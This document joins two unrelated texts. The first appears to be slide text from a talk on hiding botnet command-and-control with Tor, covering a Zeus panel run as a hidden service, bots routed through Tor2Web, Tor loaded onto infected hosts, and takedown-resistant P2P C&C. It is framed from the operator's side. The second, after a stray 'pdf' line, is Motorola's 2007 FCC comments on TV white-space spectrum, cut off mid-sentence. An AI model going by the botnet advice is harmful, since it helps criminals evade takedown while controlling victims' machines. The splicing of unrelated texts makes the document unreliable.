Service HTTP Hidden Service ● Very basic, very effective ● What is a Hidden Service? ● Standard feature of Tor – Insert Diagrams, etc ● Works behind NAT, Firewalls, etc. – No need to expose services to the network – We can use this to our advantage to stay hidden ● Hence the name So I have a Zeus botnet... ● Easy to get running ● LAMP server running pretty much anywhere – Watch out for data leakage revealing your IP! ● Zeus Control Panel running on this server – Watch out for poorly written control panels! ● Configure a Hidden Service for the web server – Will receive an Onion address ● Problem ● Where do we point the bot to? Tor2Web ● Tor2Web is a proxy to redirect .onion web traffic ● Not a part of Tor; 3rd party tool ● Web redirection service ● Scripts to run your own ● Command and Control happens via Tor2Web ● Configure bot to connect to http://tor2web.org/fiewfh9sfh2fj ● Bot connects to Tor2Web, and is then redirected to Hidden Service via .onion address Strengths and Weaknesses ● Strengths ● Hides the C&C server ● Nearly impossible to track down ● C&C server virtually immune to takedown ● Weaknesses ● Easy to filter Tor2Web traffic ● Who knows what Tor2Web is logging? ● Running your own Tor2Web proxy is better – Provides a single point of failure Proxy-aware Malware over Tor network Proxy-aware Malware over Tor network ● Hiding in "plain" sigh ● Will require proxy-aware malware ● Most malware (RATs, DoSers, etc) are not proxy aware ● Connect direct to a port on a host directly ● Will need to run Tor on infected hosts ● Not a major problem! – Virustotal report Setup ● This will work for virtually any kind of botnet ● HTTP, IRC, Custom client/servers, etc ● Set up hidden service for C&C port ● Bots will need to have SOCKS5 support ● Connect through Tor to .onion addresses ● Bots will need to load Tor onto infected hosts ● No different than loading something like FakeAV ● Connect through Tor, get commands, send data, win! Strengths ● Strengths ● Keeps servers hidden, behind NAT, etc ● Doesn't rely on 3rd party – Takes place via Tor network – Direct to your server ● Uses existing, stable Tor network – Should blend in with all other Tor traffic ● No exit nodes used! – Contained entirely within Tor network Weaknesses ● More complicated to get working ● Add SOCKS5 support to bot – Not that complicated, but not always straightforward ● Requires Tor to be present on all servers – Not complicated, malware does this all the time ● Tor needs to function properly – Have bot sync time for the system? – Fortunately, no real configuration hurdles ● Emergence of new Tor traffic on a network may be detected – Network anomaly detection may be effective Other Alternatives ● Private Tor network ● Stay off the public Tor network – Great for the paranoid ● Can be faster than the public Tor network – Track bandwidth of infected hosts – High bandwidth hosts act as relays ● Effectively the same idea ● Potentially stealthier – less traffic ● Easier to block? – Potentially less relays, easier to enumerate ● Probably not P2P C&C P2P C&C ● The most dangerous option ● Also the most complex ● Recap popular P2P botnets ● Sality ● Conficker ● Weaknesses – Sality UDP-based protocol – Conficker Domain Generation How weaknesses are overcome? ● Tor Hidden Services work around weaknesses ● No longer blocked by firewalls ● Can provide even greater C&C capabilities ● Each infected host can be HTTP server – With unique .onion addresses – Can use them at any time, won't be known prior ● Distribution through all peers on network ● Distribute lists of infected hosts Weaknesses ● Managing all hosts becomes very complicated ● Ensuring new updates apply is critical ● Network fragmentation would result in multiple, unsynched networks Strengths ● Virtually impossible to take down if working properly ● More effective than whats been seen by Sality, Conficker, etc. ● Just as easy to sell sub-nets to 3rd parties ● Examine research done against Storm, Conficker, etc. ● Many of the defenses against these worms will be beaten by bypassing firewalls, routing through Tor, using .onion addresses, etc. Conclusion ● Strength & Weakness Recap ● Turning weaknesses into countermeasures ● Where to go from here? Q&A
pdf
Before the FEDERAL COMMUNICATIONS COMMISSION Washington, DC 20554 In the Matter of Unlicensed Operation in the TV Broadcast Bands Additional Spectrum for Unlicensed Devices Below 900 MHz and in the 3 GHz Band ET Docket No. 04-186 ET Docket No. 02-380 COMMENTS OF MOTOROLA, INC. Steve B. Sharkey Director, Spectrum and Standards Strategy Robert D. Kubik Director, Telecom Relations Global Motorola, Inc. 1455 Pennsylvania Avenue, NW Suite 900 Washington, DC 20004 TEL: 202.371.6900 January 31, 2007 Table of Contents Summary.......................................................................................................................................... i I. Background and summary....................................................................................................... 2 II. TV White Space FOR Public Safety AND Other critical Operations..................................... 8 A. TV Channels 14-20................................................................................................. 9 B. Public Safety Priority Access................................................................................ 13 III. Spectrum Access Methods..................................................................................................... 16 IV. Operation of personal/portable devices ................................................................................. 22 V. Conclusion............................................................................................................................. 24 Appendix..................................................................................................................................... A-1 -i- Summary Motorola supports the FCC’s general approach to promote use of the TV broadcast bands by unlicensed devices on most of the spectrum occupied by channels below TV channel 52 because it believes that reasonable technical rules can be developed to minimize interference to incumbent operations. The spectrum made available as a result of the Commission’s action will be beneficial for a variety of commercial and non-commercial broadband services and is uniquely appropriate for service in rural areas. Motorola believes, however, that the FCC should adopt policies that will enhance the usefulness and availability of this spectrum for devices and applications that meet the needs of public safety agencies and other critical uses. Such applications will serve as a useful supplement for mission critical systems operated in dedicated licensed spectrum allocations. Motorola appreciates and supports the Commission’s decision to prohibit portable unlicensed devices on TV channels 14-20 in order to protect public safety operations that share this spectrum in 13 markets across the country. Because the interference impact to emergency responders could have disastrous consequences, Motorola agrees with the Commission’s fundamental view that unlicensed use of the 470-512 MHz band should not be allowed until the technology to ensure proper protection of incumbent public safety licensees has been fully developed, tested and proven. -ii- Motorola recommends, however, that the Commission consider allowing some limited and controlled use of the 470-512 MHz band by low powered devices in order for public safety and other critical users (and the industry that serves them) to gain more experience and understanding of the application of cognitive radio equipment in that environment. More specifically, Motorola recommends that the Commission allow public safety agencies and other critical users to deploy fixed and personal/portable low power devices within the 470-512 MHz band that are consistent with the technical standards established in this proceeding on a nationwide basis. As further experience with the technology is applied, the Commission can review whether these eligibility restrictions continue to be warranted. Such use of the 470-512 MHz band should be controlled and monitored. Operations would not be unlicensed but would be authorized “by rule” in the same manner that the FCC authorizes police departments to use radiolocation speed determining devices (“radar guns”) without having to apply for a new license. In order to protect incumbent land mobile uses in the 470-512 MHz band, Motorola recommends the establishment of 145 kilometer exclusion zones around the 13 markets that use these frequencies for land mobile services. This is only a modest expansion of the FCC’s initial proposal to adopt exclusion zones of 134 kilometers. In addition to establishing 470-512 MHz for public safety low powered devices, the Commission should also consider adopting priority access requirements for devices that operate in other portions of the TV spectrum to help ensure that public safety and other critical users have adequate spectrum capacity. More specifically, Motorola recommends that public safety -iii- and other critical users be provided unconditional priority access to two VHF and two UHF channels from TV channels 7-25. In addition, during emergency situations, public safety and other critical users should have the ability to preempt users on other channels with this range if necessary to meet critical communications requirements. Motorola previously stated that it is premature to rely on spectrum sensing as a spectrum access method because of the difficulties involved in implementing sensing technology in this environment and continues to recommend that database and location information should be the final source for determination on whether or not to transmit. While Motorola believes that cognitive radios will inherently have sensing capabilities for determining which candidate channels provide the best communications opportunities, it is not clear at this time whether those capabilities can be used for independent identification and protection of licensed incumbents. Before the FEDERAL COMMUNICATIONS COMMISSION Washington, DC 20554 In the Matter of Unlicensed Operation in the TV Broadcast Bands Additional Spectrum for Unlicensed Devices Below 900 MHz and in the 3 GHz Band ET Docket No. 04-186 ET Docket No. 02-380 COMMENTS OF MOTOROLA, INC. On October 18, 2006, the Federal Communications Commission (“Commission” or “FCC”) released a First Report and Order and Further Notice of Proposed Rule Making in the above-captioned proceeding that addresses the use of low-powered unlicensed devices to operate on vacant channels in the spectrum allocated for television broadcast service.1 Motorola, Inc. (“Motorola”) respectfully submits these comments in response to the issues raised in the Further Notice. In general, Motorola supports the Commission’s approach to promote use of the TV broadcast bands by unlicensed devices on most of the spectrum occupied by channels below channel 52 because of its belief that reasonable technical rules can be developed to minimize interference to incumbent operations. The spectrum made available as a result of the Commission’s action will be beneficial for a variety of commercial and non-commercial 1 See FCC 06-156, rel. October 18, 2006, (“Further Notice” or “First R&O”). 2 broadband services and is uniquely appropriate for service in rural areas. Motorola believes, however, that the FCC should adopt policies that will enhance the usefulness and availability of this spectrum for devices and applications that meet the needs of public safety agencies and other critical uses. Such applications will serve as a useful supplement for mission critical systems operated in dedicated licensed spectrum allocations.2 I. BACKGROUND AND SUMMARY. This proceeding was initiated to promote more efficient and effective use of the spectrum allocated for television broadcast service by allowing for the development and deployment of new types of unlicensed broadband devices and services for businesses and consumers.3 In developing its initial proposals, the Commission noted that there is significant bandwidth available in the TV bands because multiple 6 MHz wide channels are generally vacant or unused in any particular area.4 To ensure that no harmful interference to authorized users of the spectrum will occur, the Commission proposed to require that unlicensed devices operating on these vacant channels comply with significant restrictions and technical protections, including the incorporation of any number of a variety of “smart radio” or cognitive features to identify the vacant spectrum in the area where the unlicensed devices are located on a dynamic basis.5 With 2 Motorola emphasizes that although TV white space spectrum offers the potential to serve a variety of public safety and other critical use applications, its availability will not lessen the need for adequate spectrum allocations for licensed mission critical operations. 3 See FCC 04-133, rel. May 25, 2004, (“Notice”) at ¶ 1. 4 Id. at ¶ 6. Unused spectrum in the TV broadcast service is commonly referred to as “TV white space”. 5 Id. at ¶ 2. 3 such protections, the Commission stated that unlicensed use of this spectrum could result in significant benefits for consumers and economic development for businesses by providing additional competition in the broadband market.6 In its comments submitted in response to the initial Notice, Motorola agreed that it would be technically feasible to have low-power unlicensed devices share spectrum with incumbent broadcasters without causing harmful interference to TV reception.7 However, Motorola expressed concern about unlicensed operation in TV spectrum that is currently shared by commercial and public safety land mobile operations. Motorola argued against unlicensed use of this shared spectrum until protection mechanisms that ensure interference-free unlicensed transmissions to mobile facilities are proven reliable.8 Specifically, Motorola recommended against permitting unlicensed operations on TV channels 14-20 (470-512 MHz) that are already available for shared used by public safety and other critical land mobile services and TV channels 52-69 (698-806 MHz) that have been reallocated to public safety, commercial wireless and band manager services. The First R&O adopted in October of 2006 focused on the larger policy issues addressed by the original Notice. It adopted the general policy to allow the operation of fixed low power devices on most TV channels beginning on February 18, 2009, in areas where those frequencies 6 Id. at ¶ 1. 7 See Comments of Motorola, Inc., ET Docket No. 04-186, filed Nov. 30, 2004, at 2. 8 Id. at 5, 6. 4 are not being used for TV or other incumbent licensed services.9 Exempted from this general decision were TV channel 37, which is used by radio astronomy and wireless medical telemetry devices, and the reallocated TV channels 52-69. The First R&O did not allow any unlicensed operations (fixed or personal/portable) on these channels. Further, consistent with Motorola’s recommendations, the First R&O prohibited the use of unlicensed personal/portable devices on TV channels 14-20 due to the difficulties of coordinating unlicensed use with mobile services.10 The Further Notice was adopted concurrently with the First R&O. In this phase of this proceeding, the Commission seeks additional technical analyses to determine the answers to the following fundamental questions: 1) Can personal/portable devices operate in the TV broadcast band without causing harmful interference?11 2) Should fixed unlicensed devices be permitted to operate on TV Channels 14-20 in the 13 cities where these channels are used by public safety and other mobile services?12 3) Should low power devices authorized to operate in the TV band be permitted only on a licensed, rather than an unlicensed, basis or should there be a hybrid licensing scheme?13 The Further Notice also requests further comment on the methods that low power devices may use to determine whether a portion of the TV band is unused at a specific time and location. Specifically, the Commission seeks additional comment on the technical viability of the 9 First R&O at ¶ 2. 10 Id. at ¶ 21. 11 Further Notice at ¶ 3. 12 Id. at ¶ 56. 13 Id. at ¶ 26. 5 following three methods while offering specific technical proposals to implement these techniques: Spectrum Sensing Approach: An unlicensed device could have sensing capabilities incorporated into its equipment to detect whether other transmitters are operating in an area. 14 Geo-location/Database Approach: The location of an unlicensed device is established by a professional installer or by the device itself using geo-location technology such as GPS incorporated within the device. It could then be determined from either a local internal or remote external database whether the unlicensed device is located far enough outside the protected service contours of licensed television stations to avoid causing harmful interference.15 Control Signal Approach: An unlicensed device could receive information transmitted from an external source such as a broadcast station or another unlicensed transmitter indicating which channels are available at its geographic location.16 Motorola supports the Commission’s efforts to expand the effective use of the TV broadcast spectrum by promoting the deployment of unlicensed and/or registered devices that are capable of operating on a non-interfering basis. The success of this policy, however, is dependent on the development and performance of spectrum access methods that help ensure that unlicensed devices operate only where protected incumbent facilities are not located. In this regard, Motorola has been actively participating in the leading IEEE cognitive radio and coexistence standardization venues including IEEE 802.22, IEEE P1900 and the SDR Forum.17 14 Id. at ¶ 33. 15 Id. at ¶ 49. 16 Id. at ¶ 52. 17 The IEEE 802.22 working group of the IEEE 802 LAN/MAN standards committee is formally developing “Standard for Wireless Regional Area Networks (WRAN) - Specific requirements - Part 22: Cognitive Wireless RAN Medium Access Control (MAC) and Physical Layer (PHY) Specifications: Policies and procedures for operation in the TV Bands” and focuses on constructing a consistent, national fixed point-to-multipoint WRAN that will utilize 6 In IEEE 802.22, Motorola has been instrumental in the drafting of the 802.22 baseline standard for fixed point to multipoint wireless broadband access in the TV white space. Motorola is also taking a leading role in the discussions in IEEE 802.22.1, a Task Group of IEEE 802.22, to draft a disabling beacon standard that offers enhanced protection to licensed and protected devices and services. To proactively address the critical need for proper, professional installation of fixed access base stations, Motorola participates as the vice-chair of Task Group IEEE 802.22.2, established to create a Recommended Practice for installation of TV white space devices. In IEEE P1900, Motorola chairs the Task Group work that is developing methods and standards for the use of cognitive radio technology to select from among many standards available on a multi frequency, multimode wireless network. In the SDR Forum, Motorola holds leadership positions in the development of software defined radio technologies for advanced radio technologies. Motorola believes that the diverse standards venues are needed to solve the myriad of complex technological issues to make innovative services in the TV white space a reality. (Continued) UHF/VHF TV bands. The IEEE P1900 Standards Group was established in the first quarter 2005 jointly by the IEEE Communications Society and the IEEE Electromagnetic Compatibility Society. The objective is to develop supporting standards dealing with new technologies and techniques being developed for next generation radio and advanced spectrum management. The Software Defined Radio (SDR) Forum is a non-profit organization comprised of approximately 100 corporations from around the globe dedicated to promoting the development, deployment and use of software defined radio technologies for advanced wireless systems. 7 In these comments, Motorola augments its previously filed comments in this proceeding including updated analysis and recommendations on each of the spectrum access methods discussed in the Further Notice. Motorola intends to provide additional information to the FCC as work in the various IEEE forums described above progresses. Motorola believes that the TV white space spectrum will be valuable for a variety of both commercial and non-commercial uses and that the ability to use this spectrum for unlicensed and registered devices while fully protecting services with higher regulatory priority will advance and improve over time. At this nascent stage of development, however, Motorola believes that it is appropriate for the Commission to proceed with some caution so that future opportunities are not diminished by haphazard early deployments. Motorola recommends that the Commission adopt special provisions that would enhance the utility of TV white space spectrum for use by public safety and other critical users. For example, until the capabilities of spectrum access methods are fully proven, the Commission should limit the availability of TV white space on channels 14-20 to public safety and other critical user organizations. Such low-powered use should be coordinated and authorized “by rule” as opposed to individually licensing users or allowing for Part 15 unlicensed uses. This approach would be consistent with the First R&O’s decision to prohibit unlicensed use of these channels. In addition, the Commission should consider adopting rules for pre-emptive access for public safety and other critical users over some portion of the TV band to ensure adequate 8 spectrum capabilities during emergency response situations. These issues are more fully discussed below. II. TV WHITE SPACE FOR PUBLIC SAFETY AND OTHER CRITICAL OPERATIONS. Motorola believes that this proceeding offers opportunities for the development of technologies that can support and augment existing licensed public safety operations in the VHF and UHF portions of the spectrum. While unlicensed devices are not suitable substitutes for mission critical licensed systems, the TV white space spectrum will likely serve as a useful supplement for public safety and other critical users, particularly for data transmissions, as cognitive technology develops and matures. Such data operations could complement existing VHF or UHF voice systems at an incident scene, a nuclear power plant, a water treatment plant, a petroleum refinery or a transportation depot facility, which are all high risk targets for breaches of homeland security.18 The unique nature of broadcast television as a one-way service with a relatively stable environment allows for shared use in ways that fully protect the priority users of the spectrum by using properly designed cognitive equipment. These same conditions or opportunities do not necessarily apply, however, in bands that are widely used for mobile services. Accordingly, it should not be assumed that sharing techniques used in the TV band can be easily imported into 18 While not all of the communications at these facilities are officially defined as public safety under the Commission’s rules, Motorola believes they are nonetheless critical, especially given potential manmade or natural disasters and possible terrorist attacks. Disruption of the nation’s or even a region’s power, water supply, source of petroleum or transportation/delivery could potentially cripple the economy and have devastating effects on the public. 9 other bands for sharing with other services.19 Motorola believes, however, that sharing can be successful in the TV white space and that the Commission should consider policies that would further promote the development and deployment of these technologies for public safety and other critical users within the TV white space spectrum. To this end, Motorola offers the following two recommendations. A. TV Channels 14-20. In general, public safety and other critical users are wary about using unlicensed devices for mission critical applications in a band that is also available to commercial and consumer users because of the potential for unintended interference especially during times of emergency. This concern was the principal reason behind the FCC’s allocation of spectrum in the 4.9 GHz band for public safety uses despite the commercial availability of similar spectrum bands at 2.4 GHz and 5 GHz bands.20 Motorola believes that the Commission has a similar opportunity to satisfy some of the requirements of public safety and other critical users in the TV white space without adversely affecting the commercial and consumer markets. 19 Also, the nature of the primary use of the band must be considered. For example, the impact of interference would be significantly more devastating if it occurs to public safety communications as opposed to bands used for non-safety of life applications. Accordingly, proposals to allow cognitive radio devices to operate in dedicated public safety spectrum as proposed in other Commission proceedings should be approached with extreme caution. See FCC No. 06-181, rel. December 22, 2006 (“9th NPRM in WT No. Docket 96-86”). 20 See FCC 02-47, rel. February 27, 2002 (“4.9 GHz Allocation Order”). 10 In the First R&O, the Commission disallowed use of unlicensed personal/portable devices on TV channels 14-20 principally to protect two-way communications systems operating in 13 markets across the county. The Further Notice seeks comment on whether this spectrum should be opened to unlicensed fixed use. Motorola appreciates and supports the Commission’s decision to prohibit portable devices in the 470-512 MHz band in order to protect public safety operations. To date, much of the discussion and focus of the technical work in this proceeding has been directed at protecting broadcast operations and little, if any, work has been done to ensure that public safety, business, industrial and commercial mobile operations on channels 14-20 will be protected from potential interference. Because the interference impact to emergency responders could have disastrous consequences, Motorola agrees with the Commission’s fundamental view that unlicensed use of the 470-512 MHz band should not be allowed until the technology to ensure proper protection of incumbent public safety licensees has been fully developed, tested and proven. Motorola believes, however, that this decision presents an opportunity for public safety and other critical users. Motorola recommends that the Commission consider allowing some limited and controlled use of the 470-512 MHz band by low powered devices to help meet the needs of public safety and other critical uses. This would also allow public safety and other critical users, and the industry that serves them, to gain experience and understanding of the application of cognitive radio equipment in that environment. More specifically, Motorola recommends that the Commission allow public safety agencies and other critical users to deploy 11 fixed and personal/portable low power devices within the 470-512 MHz band that are consistent with the technical standards established in this proceeding on a nationwide basis. Such devices will be required to rely on appropriate mechanisms that ensure interference protection to incumbent broadcast and land mobile services. This will contribute valuable information on the capabilities and requirements of spectrum access methods, such as control signal beacons. As further experience with the technology is applied, the Commission can review whether these eligibility restrictions continue to be warranted.21 Use of the 470-512 MHz band by public safety and other critical users should be controlled and monitored. While Motorola does not recommend individually licensing users and agencies for these devices given the relatively low power allowed, users should be required to register and coordinate unlicensed use with an appropriate Commission frequency coordinating committee. Also, similar to the authorization “by rule” of radiolocation speed determining devices (“radar guns”), authority to operate these low-powered devices can be provided through the entity’s general land mobile license.22 This approach would be consistent with the 21 Motorola notes that out-of-band emissions from low-power devices operating on channel 14 could interfere with incumbent land mobile base receivers operating immediately below 470 MHz. For low power/unlicensed devices operating within 100 meters of a land mobile base receiver, the radiated emission limits of 47 C.F.R. § 15.209 exceed the current protection levels described in 47 C.F.R. § 73.687(e) that are applicable to a TV transmitter operating on TV channel 14. Based on typical performance parameters of land mobile systems operating below 470 MHz, the received level of Part 15 emissions could exceed land mobile base receiver noise floor and degrade performance up to 0.5 km for conventional land mobile operations and 1.5 km for trunked land mobile operations. There is similar interference potential into Federal land mobile operations below TV channel 7 (174 MHz). The FCC should consider ways to protect these adjacent band land mobile systems from such interference. 22 See 47 C.F.R. § 90.20(f)(4) of the FCC’s Rules. 12 Commissions decision in the First Report and Order to prohibit unlicensed portable use on these channels. Allowing even limited use of 470-512 MHz for low-power devices requires the establishment of exclusion zones around public safety and other mobile system operations similar to Commission provisions for protecting TV operations. Developing the appropriate zones for the 13 affected markets23 requires certain assumptions about the maximum technical parameters (e.g., power spectral density and antenna heights) that would be applicable to the low-powered/unlicensed transmitters. More specifically, this task requires that the Commission: 1) define a power spectral density limit relevant to narrow band victim receivers, 2) consider antenna height and terrain variations, and 3) consider an interference level of 21 dBu/25 kHz. As shown in the attached appendix, Motorola recommends that the Commission proscribe in its rules a power spectral density of 8 dBm/3 kHz bandwidth, which is consistent with existing Part 15 rules.24 This yields an exclusion zone of approximately 15 kilometers beyond the 130 km land mobile operational zone.25 Motorola therefore recommends that the FCC adopt a 145 kilometer 23 See 47 C.F.R. § 90.303 of the FCC’s Rules. 24 See 47 C.F.R. §§ 15.247(a)(2), 15.247(a)(3) and 15.247(e) of the FCC’s Rules. 25 Under Section 90.305 of the FCC’s Rules, land mobile base stations operating on TV channels 14-20 may not be located more than 50 miles from the cities’ specified geographic coordinates, and mobile stations must be within 30 miles of their associated base station yielding an effective 80 mile (approximately 130 km) operational area for land mobile systems. 13 exclusion zone around the 13 markets where land mobile services are able to access frequencies in the 470-512 MHz band on a licensed basis.26 B. Public Safety and Critical User Priority Access. In addition to establishing 470-512 MHz for public safety low powered devices, the Commission should also consider adopting priority access requirements for devices that operate in other portions of the TV spectrum to help ensure that public safety and other critical users have adequate spectrum capacity. As explained in more detail below, public safety and other critical users should be provided unconditional priority access to two VHF and two UHF channels in TV channels 7-25. In addition, during emergency situations, public safety and other critical users should have the ability to preempt users on other channels with this range if necessary to meet critical communications requirements. Aside from channels 14-20, most of this TV band spectrum should be available with the least amount of constraints possible to encourage rapid deployment of lower priced applications and provide adequate protection of incumbents.27 Though cognitive techniques offer flexibility, there are significant advantages to allowing public safety and other critical uses unconditional preemption for some channels. Providing public safety and other critical users with priority 26 Systems that have been authorized by waiver to operate beyond the normal 80 mile limit would also need to be protected with incrementally larger protection zones. 27 Beyond the obvious issues of protecting the authorized incumbents, it will be important to manage the co-existence of multiple users in the same channels. Given the propagation characteristics and large coverage areas of UHF signals, the potential for multiple applications simultaneously using the same white space in the same area requires some contention management techniques. 14 access to two VHF and two UHF channels on a routine basis when channels 14-20 are not available would help ensure reliable access to spectrum. When not needed by priority users, these four channels would be available for use by other commercial or consumer uses. In emergencies, public safety and other critical users should also have priority access to additional channels below TV channel 26 to meet requirements in time of crisis. Examination of spectrum availability in a post-DTV transition environment shows that there are a number of places in the country where only minimal channels within 14-20 would be accessible by public safety and other critical users. Therefore, Motorola believes that priority access to two additional VHF and two additional UHF channels below Channel 26 and, where not used for full power digital TV would be critical to serving these needs, with expanded priority to channels below TV channel 26 during emergencies. Access to additional channels in this range will integrate well with existing public safety and other critical uses of spectrum. Typically, VHF and UHF spectrum is used by smaller public safety agencies and other critical operations for its large coverage area and its ability to support unit to unit voice communications over significant distances and through many obstructions such as buildings and dense trees. Large cities, such as New York, LA and Chicago depend on UHF for enhanced in-building penetration and States such as Virginia, Alaska, and Vermont depend on VHF for coverage over wide areas of rugged terrain. Other public safety and other critical users also deploy systems on VHF and UHF spectrum to the extent that any capacity is available. Unfortunately all too often there is insufficient spectrum to fully meet the communications needs 15 of these entities. TV white space spectrum would provide these public safety and critical users supplemental options for data at VHF and UHF and would be complementary to actions to deploy data systems in 700 MHz and above. Cognitive equipment designed for public safety and other critical uses should be capable of operating on any channel within TV channels 7-25. This will assist public safety and other critical users in deploying products capable of utilizing any of the channels that might be available in a given area without the need for multiple radios. To this end, Motorola recommends that devices operating in the TV white space support the ability for public safety and other critical users to pre-empt non-critical users, when necessary, on channels 7-25. Devices operating on TV channels 26-51 would not have this restraint, but devices that work below channel 26 should be required to support the monitoring necessary to be pre-empted.28 In summary, Motorola believes that Public Safety and other critical users should have exclusive access to TV channels 14-20 for low powered devices and priority access to two additional VHF and two additional UHF channels from channels 7-25. Given the flexibility of the technology necessary to make effective use of TV white space spectrum, we believe this is a workable approach for public safety and other critical users as well as commercial/consumer operations. As experience is gained and products improved, it may be desirable to redefine these proposed preemption requirements in the future. Given the flexibility of cognitive radios, 28 Motorola supports the use of disabling beacons to implement this recommendation. See pages 18-19, infra. 16 redefining established pre-emption priorities should not require equipment modifications or trade-out.29 III. SPECTRUM ACCESS METHODS. The Further Notice seeks additional comment on three methods for enabling interference free operation in the TV white space spectrum: geolocation and database lookup, beacons or control signals, and spectrum sensing. With regard to the use of geolocation and database lookup approaches, the Further Notice seeks specific comment on the development, maintenance, and availability of a comprehensive database of all TV and other incumbent stations. The Commission asks whether third-party providers are willing and able to maintain such a database and also on the parameters that should be included in the database. The Commission also seeks comment on the technical requirements for relying on the geo- location/database approach, including the appropriate method of geo-location (GPS, professional installation, or other method) and for determining the required separation from authorized users in the TV bands. As for the use of control signals to regulate device transmissions, the Further Notice notes that many of the same issues surrounding the development of a database for geolocation techniques also apply to use of the control signals. However, the Further Notice also seeks comment on the format and content of the control signal and asks how beacons can protect other 29 The FCC could require devices operating in channels 7-25 to have over-the-air programming technology to enable this flexibility although it is possible that market forces might obviate the need for regulation. 17 authorized services, such as wireless microphones, whose location may not be included in the databases. In previously filed comments, Motorola supported the use of beacons and geolocation database lookup techniques to avoid interference to incumbent users and offered specific recommendations for the implementation of these techniques.30 Motorola recommended that the Commission specify location accuracy rather than mandate use of a particular location technology such as GPS to encourage innovation in the field of location technology. In addition, channel availability information sent by control signals to fixed and handheld units must be in a standard format and include a validity period for which the channel is available. The device must also include fail-safe methods to cease operation if the control signal or database information cannot be updated or accessed. Finally, Motorola noted that third party providers of vacant channel information (e.g., a frequency coordinator, industry association, local broadcast group) should be held liable for the accuracy of location data. With regard to spectrum sensing, the Commission has stated that its experience with Dynamic Frequency Selection (DFS) implemented in the 5 GHz U-NII rules leads it to believe that similar spectrum sensing rules can be applied to TV band devices. The Further Notice provides extensive discussion and numerous proposals for appropriate spectrum sensing rules for TV band devices including proposed rules for the appropriate detection threshold, channel 30 See, n. 6 supra. 18 availability check time, move time and non-occupancy period, bandwidth and antenna considerations and other issues. Motorola previously stated that it is premature to rely on such methods because of the difficulties involved in implementing sensing technology in this environment and continues to recommend that database and location information should be the final source for determination on whether or not to transmit. While Motorola believes that cognitive radios will inherently have sensing capabilities for determining which candidate channels provide the best communications opportunities, it is not clear at this time whether those capabilities can be used for independent identification and protection of licensed incumbents. As the Commission moves forward in its studies and evaluation of techniques to open the TV white space it must consider the interaction between sensing techniques and how it corresponds to information contained in their database. Issues include defining which information source may have precedence, what measures to take if a TV signal is sensed and is not part of the database, how frequently the database needs to be accessed if sensing is employed, and measures to take if the database could not be accessed. Particularly in the early stages of this effort, the Commission should proceed conservatively to ensure protection of incumbent services and users. 19 For some licensed or other protected users, a static database is not practical. For example, some wireless microphone usage can be predictable and hence protected via the database (e.g., studios, sporting events, political conventions). Some uses such as news gathering are not as predictable and difficult to protect via a static database. For this problem, Motorola sees three possible solutions: Sensing the licensed or otherwise protected user. Sensing alone can be difficult. When considering lower power operations, identification of that signal is even more difficult. For a wireless microphone, any detection from a discrete spectral line (dead-air mike) to nearly 200 kHz bandwidth may be considered a microphone. Even if a microphone could be positively identified by observing changes in spectral patterns, it could not be determined with certainty whether it was a legitimate and protected Part 74 usage. A dynamic database. This must be updated by the license holder and checked by the unlicensed operator on a regular basis. A disabling beacon. This signal would need to be demodulated by the TV band device and not simply sensed in order to maximize spectrum availability for unlicensed use. This beacon should contain pertinent database information, have recourse from interference, and have the authority to serve as a proxy for the license holder. Thus, it should be licensed and authenticable. For protection of wireless microphones and other transient protected devices, Motorola recommends the use of a disabling beacon. The beacon should be licensed in the same class as the protected deployment, and should have information pertaining to the protected deployment, including deployment location coordinates, an identification (MAC address or call-sign), frequency/time usage information, and protected contour size. The control signal could originate either from the protected deployment location or a nearby location that would still enclose the deployment within the announced protected contour. Motorola recommends that this beacon be required for TV band devices in a limited number of channels, in addition to those required to 20 enable public safety and other critical users, to protect these operations and codified in Commission rules.31 While the Commission is the regulatory authority for maintaining accurate and timely information on licensed television transmitters, distribution of database information can be done through a third party. Necessary database information includes complete information on TV transmitter location ERP, HAAT, RCAGL, FCC service code, license status, and call sign. The current format available on the FCC’s web site (at http://www.fcc.gov/mb/audio/tvq.html) is appropriate, but is lacking in completeness of the data (e.g., some ERP, HAAT, RCAGL and license status values are missing or otherwise inaccurate). Accordingly, the Commission’s database records would either need to be updated or some other means for providing reliable and accurate information would need to be established. Rules should be codified as to which licenses to consider (e.g., licensed, construction permit, etc.) for interference calculations, and officially accepted contour levels for the multiple FCC service codes should be centralized to ensure that consistent calculations are performed by various equipment providers. In order to maintain consistent radio operation across various equipment providers, mutually agreed upon propagation formulas, similar to the FCC CURVES program, should be utilized.32 Optionally, a universally accepted format, machine readable 31 Motorola notes that manufacturers of wireless audio microphones and in-ear monitoring systems like Shure, Inc. have participated in this proceeding and we look forward to further comments as how their use of the band can continue as TV white space is opened. 32 Available at http://www.fcc.gov/mb/audio/bickel/curves.html. 21 database of official contour maps should be maintained by the Commission or an entity designated by the Commission. Such requirements will help ensure consistency in defining service contours and provide a high level of certainty about where radios are permitted to operate in the TV white space. As previously discussed, Motorola notes that this spectrum offers additional options for first and second responders in large, widespread emergencies/disasters. The cognitive technology to be used in this spectrum can have the ability to take advantage of spectrum as it becomes available, provided that the database information is updated in a timely fashion. For example, if a catastrophic event disables television broadcast facilities in an area, similar to what happened in Louisiana after Hurricane Katrina, the database should be updated to reflect this and allow the cognitive radios to access this spectrum until such time as the broadcast facility is repaired. Having public safety use these devices as part of their normal communications equipment will help ensure that they are well positioned to maximize the potential benefits in times of wide-spread emergency or disaster. Applications such as unit-to-unit (without infrastructure) streaming video can be very useful in analyzing an incident scene, yet requires significant bandwidth which could be made available in this spectrum. The significantly larger coverage area of VHF and UHF spectrum compared to higher frequencies increases the utility of these devices in devastated areas where fixed infrastructure may be sporadic or damaged. 22 IV. OPERATION OF PERSONAL/PORTABLE DEVICES The Further Notice seeks additional comment on whether usage of personal/portable devices should be allowed in the TV bands and the means by which personal/portable devices can operate without causing interference to authorized users. Motorola, in general, supports the use of personal/portable devices in the TV bands. Use of personal/portable devices in the TV bands offers an opportunity to support and augment existing public safety services. For example, it would be possible to use unused TV channels to create a video link between a police cruiser and an officer in a building or other location remote to the police cruiser and obstructed from line-of-sight operation. Another example where public safety could benefit would be at a disaster site, where a site-wide broadband system could be installed more simply and with better coverage than could be achieved with existing technologies at higher frequencies. In both of these examples, the propagation and penetration of TV band signals acts to enable new services.33 Motorola believes that significant commercial applications could also be enabled by operation of personal/portable devices in the TV white space. In addition to the benefits noted above for public safety and other critical users the consumer market applications include streaming of multimedia signals in the home and on-site video for security in home and 33 Because of favorable propagation characteristics, one example is the use of vacant TV channels to provide precise personnel positioning in a portable device for First Responders and Public safety. 23 commercial venues. In these applications, the propagation and penetration properties of TV band signals acts to enable and simplify services.34 The Commission 